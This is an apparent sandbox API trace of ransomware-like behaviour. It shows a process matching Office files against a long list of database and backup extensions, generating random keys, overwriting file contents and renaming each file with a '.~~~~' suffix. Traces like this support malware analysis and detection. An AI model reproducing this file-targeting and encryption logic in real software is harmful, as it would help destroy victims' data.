	[0141.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.852] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3840 | out: hHeap=0x300000) returned 1
	[0141.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.852] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aee00
	[0141.852] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0141.852] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aee00 | out: hHeap=0x300000) returned 1
	[0141.852] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0141.852] GetLastError () returned 0x0
	[0141.853] GetLastError () returned 0x0
	[0141.853] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0141.853] GetLastError () returned 0x0
	[0141.853] GetLastError () returned 0x0
	[0141.853] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x1349, lpOverlapped=0x0) returned 1
	[0141.855] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffecb7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.855] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x1349, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1349, lpOverlapped=0x0) returned 1
	[0141.855] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0141.855] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.855] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.856] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.856] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.856] CloseHandle (hObject=0x138) returned 1
	[0141.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aee00
	[0141.856] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir46b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir46b.gif.~~~~")) returned 1
	[0141.971] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aee00 | out: hHeap=0x300000) returned 1
	[0141.971] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0141.971] GetLastError () returned 0x0
	[0141.972] RtlWakeConditionVariable () returned 0x0
	[0141.972] GetCurrentThreadId () returned 0xaf0
	[0141.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".scr") returned 0x0
	[0141.972] lstrlenW (lpString=".cmd") returned 4
	[0141.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".cmd") returned 0x0
	[0141.972] lstrlenW (lpString=".dll") returned 4
	[0141.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".dll") returned 0x0
	[0141.972] lstrlenW (lpString=".bat") returned 4
	[0141.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".bat") returned 0x0
	[0141.972] lstrlenW (lpString=".cpl") returned 4
	[0141.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".cpl") returned 0x0
	[0141.972] lstrlenW (lpString=".sys") returned 4
	[0141.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".sys") returned 0x0
	[0141.972] lstrlenW (lpString=".msc") returned 4
	[0141.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".msc") returned 0x0
	[0141.972] lstrlenW (lpString=".com") returned 4
	[0141.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".com") returned 0x0
	[0141.972] lstrlenW (lpString=".lnk") returned 4
	[0141.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".lnk") returned 0x0
	[0141.973] lstrlenW (lpString=".msp") returned 4
	[0141.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".msp") returned 0x0
	[0141.973] lstrlenW (lpString=".pif") returned 4
	[0141.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".pif") returned 0x0
	[0141.973] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir50f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0141.975] lstrlenW (lpString=".sqb") returned 4
	[0141.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".sqb") returned 0x0
	[0141.975] lstrlenW (lpString=".ost") returned 4
	[0141.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".ost") returned 0x0
	[0141.975] lstrlenW (lpString=".txt") returned 4
	[0141.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".txt") returned 0x0
	[0141.975] lstrlenW (lpString=".mdt") returned 4
	[0141.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".mdt") returned 0x0
	[0141.975] lstrlenW (lpString=".BDB") returned 4
	[0141.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".BDB") returned 0x0
	[0141.975] lstrlenW (lpString=".eql") returned 4
	[0141.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".eql") returned 0x0
	[0141.975] lstrlenW (lpString=".DBF") returned 4
	[0141.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".DBF") returned 0x0
	[0141.975] lstrlenW (lpString=".EQL") returned 4
	[0141.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".EQL") returned 0x0
	[0141.975] lstrlenW (lpString=".FDB") returned 4
	[0141.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".FDB") returned 0x0
	[0141.975] lstrlenW (lpString=".EDB") returned 4
	[0141.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".EDB") returned 0x0
	[0141.975] lstrlenW (lpString=".DACPAC") returned 7
	[0141.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.975] lstrlenW (lpString=".VHD") returned 4
	[0141.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".VHD") returned 0x0
	[0141.975] lstrlenW (lpString=".DBV") returned 4
	[0141.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".DBV") returned 0x0
	[0141.976] lstrlenW (lpString=".dacpac") returned 7
	[0141.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".dacpac") returned 0x0
	[0141.976] lstrlenW (lpString=".sdf") returned 4
	[0141.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".sdf") returned 0x0
	[0141.976] lstrlenW (lpString=".accdb") returned 6
	[0141.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".accdb") returned 0x0
	[0141.976] lstrlenW (lpString=".DBX") returned 4
	[0141.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".DBX") returned 0x0
	[0141.976] lstrlenW (lpString=".MDT") returned 4
	[0141.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".MDT") returned 0x0
	[0141.976] lstrlenW (lpString=".SQB") returned 4
	[0141.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".SQB") returned 0x0
	[0141.976] lstrlenW (lpString=".vhd") returned 4
	[0141.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".vhd") returned 0x0
	[0141.976] lstrlenW (lpString=".bac") returned 4
	[0141.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".bac") returned 0x0
	[0141.976] lstrlenW (lpString=".mdf") returned 4
	[0141.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".mdf") returned 0x0
	[0141.976] lstrlenW (lpString=".BAK") returned 4
	[0141.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".BAK") returned 0x0
	[0141.976] lstrlenW (lpString=".BAC") returned 4
	[0141.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".BAC") returned 0x0
	[0141.976] lstrlenW (lpString=".dbs") returned 4
	[0141.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".dbs") returned 0x0
	[0141.976] lstrlenW (lpString=".vhdx") returned 5
	[0141.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".vhdx") returned 0x0
	[0141.977] lstrlenW (lpString=".NDF") returned 4
	[0141.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".NDF") returned 0x0
	[0141.977] lstrlenW (lpString=".dat") returned 4
	[0141.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".dat") returned 0x0
	[0141.977] lstrlenW (lpString=".DBS") returned 4
	[0141.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".DBS") returned 0x0
	[0141.977] lstrlenW (lpString=".CKP") returned 4
	[0141.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".CKP") returned 0x0
	[0141.977] lstrlenW (lpString=".edb") returned 4
	[0141.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".edb") returned 0x0
	[0141.977] lstrlenW (lpString=".PST") returned 4
	[0141.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".PST") returned 0x0
	[0141.977] lstrlenW (lpString=".dbf") returned 4
	[0141.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".dbf") returned 0x0
	[0141.977] lstrlenW (lpString=".SQL") returned 4
	[0141.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".SQL") returned 0x0
	[0141.977] lstrlenW (lpString=".pst") returned 4
	[0141.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".pst") returned 0x0
	[0141.977] lstrlenW (lpString=".dbv") returned 4
	[0141.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".dbv") returned 0x0
	[0141.977] lstrlenW (lpString=".SDF") returned 4
	[0141.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".SDF") returned 0x0
	[0141.977] lstrlenW (lpString=".dtxs") returned 5
	[0141.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".dtxs") returned 0x0
	[0141.977] lstrlenW (lpString=".db3") returned 4
	[0141.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".db3") returned 0x0
	[0141.978] lstrlenW (lpString=".OST") returned 4
	[0141.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".OST") returned 0x0
	[0141.978] lstrlenW (lpString=".dbx") returned 4
	[0141.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".dbx") returned 0x0
	[0141.978] lstrlenW (lpString=".DB3") returned 4
	[0141.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".DB3") returned 0x0
	[0141.978] lstrlenW (lpString=".DAT") returned 4
	[0141.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".DAT") returned 0x0
	[0141.978] lstrlenW (lpString=".VHDX") returned 5
	[0141.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".VHDX") returned 0x0
	[0141.978] lstrlenW (lpString=".ndf") returned 4
	[0141.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".ndf") returned 0x0
	[0141.978] lstrlenW (lpString=".DB") returned 3
	[0141.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".DB") returned 0x0
	[0141.978] lstrlenW (lpString=".sql") returned 4
	[0141.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".sql") returned 0x0
	[0141.978] lstrlenW (lpString=".MYD") returned 4
	[0141.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".MYD") returned 0x0
	[0141.978] lstrlenW (lpString=".DBT") returned 4
	[0141.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".DBT") returned 0x0
	[0141.978] lstrlenW (lpString=".ACCDB") returned 6
	[0141.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.978] lstrlenW (lpString=".fdb") returned 4
	[0141.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".fdb") returned 0x0
	[0141.978] lstrlenW (lpString=".bak") returned 4
	[0141.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".bak") returned 0x0
	[0141.979] lstrlenW (lpString=".myd") returned 4
	[0141.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".myd") returned 0x0
	[0141.979] lstrlenW (lpString=".DTXS") returned 5
	[0141.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".DTXS") returned 0x0
	[0141.979] lstrlenW (lpString=".ckp") returned 4
	[0141.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".ckp") returned 0x0
	[0141.979] lstrlenW (lpString=".dbt") returned 4
	[0141.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".dbt") returned 0x0
	[0141.979] lstrlenW (lpString=".db") returned 3
	[0141.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".db") returned 0x0
	[0141.979] lstrlenW (lpString=".TXT") returned 4
	[0141.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".TXT") returned 0x0
	[0141.979] lstrlenW (lpString=".MDF") returned 4
	[0141.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".MDF") returned 0x0
	[0141.979] lstrlenW (lpString=".bdb") returned 4
	[0141.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".bdb") returned 0x0
	[0141.979] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0141.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0141.979] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0141.981] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0141.981] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0141.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0141.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0141.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0141.981] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26197099935) returned 1
	[0141.981] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbe079cd0, dwHighDateTime=0x1d60e1e)) 
	[0141.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0141.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0141.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0141.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b29e8
	[0141.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b29e8 | out: hHeap=0x300000) returned 1
	[0141.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b0b20
	[0141.982] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37b878
	[0141.982] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0b20 | out: hHeap=0x300000) returned 1
	[0141.982] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0141.982] GetLastError () returned 0x0
	[0141.982] GetLastError () returned 0x0
	[0141.982] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0141.982] GetLastError () returned 0x0
	[0141.983] GetLastError () returned 0x0
	[0141.983] ReadFile (in: hFile=0x138, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0xe82, lpOverlapped=0x0) returned 1
	[0141.985] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff17e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.985] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xe82, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0xe82, lpOverlapped=0x0) returned 1
	[0141.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0141.985] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.985] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.985] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.986] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.986] CloseHandle (hObject=0x138) returned 1
	[0141.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b0b20
	[0141.986] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir50f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir50f.gif.~~~~")) returned 1
	[0141.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0b20 | out: hHeap=0x300000) returned 1
	[0141.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0141.989] GetLastError () returned 0x0
	[0141.989] RtlWakeConditionVariable () returned 0x0
	[0141.989] GetCurrentThreadId () returned 0xaf0
